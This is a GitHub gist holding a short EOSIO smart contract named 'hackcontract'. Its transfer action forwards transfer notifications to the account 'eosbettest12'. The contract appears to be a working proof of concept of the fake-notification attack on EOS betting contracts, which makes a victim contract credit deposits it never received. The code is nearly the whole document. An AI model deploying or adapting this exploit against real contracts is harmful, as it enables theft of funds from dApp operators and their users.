Created
November 30, 2018 06:21
-
-
Save quocle108/9247ae7754dcb983a4d663b46795014e to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class hackcontract : public eosio::contract | |
| { | |
| public: | |
| hackcontract(account_name self) : eosio::contract(self) {} | |
| void transfer(uint64_t sender, uint64_t receiver) | |
| { | |
| require_recipient( N(eosbettest12)); | |
| } | |
| }; | |
| #define EOSIO_ABI_EX(TYPE, MEMBERS) | |
| extern "C" | |
| { | |
| void apply(uint64_t receiver, uint64_t code, uint64_t action) | |
| { | |
| auto self = receiver; | |
| if (code == self || code == N(eosio.token)){ | |
| if (action == N(transfer)) | |
| { | |
| eosio_assert(code == N(eosio.token), "Must transfer EOS"); | |
| } | |
| TYPE thiscontract(self); | |
| switch (action) | |
| { | |
| EOSIO_API(TYPE, MEMBERS) | |
| } | |
| } | |
| } | |
| EOSIO_ABI_EX(hackcontract, (transfer)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment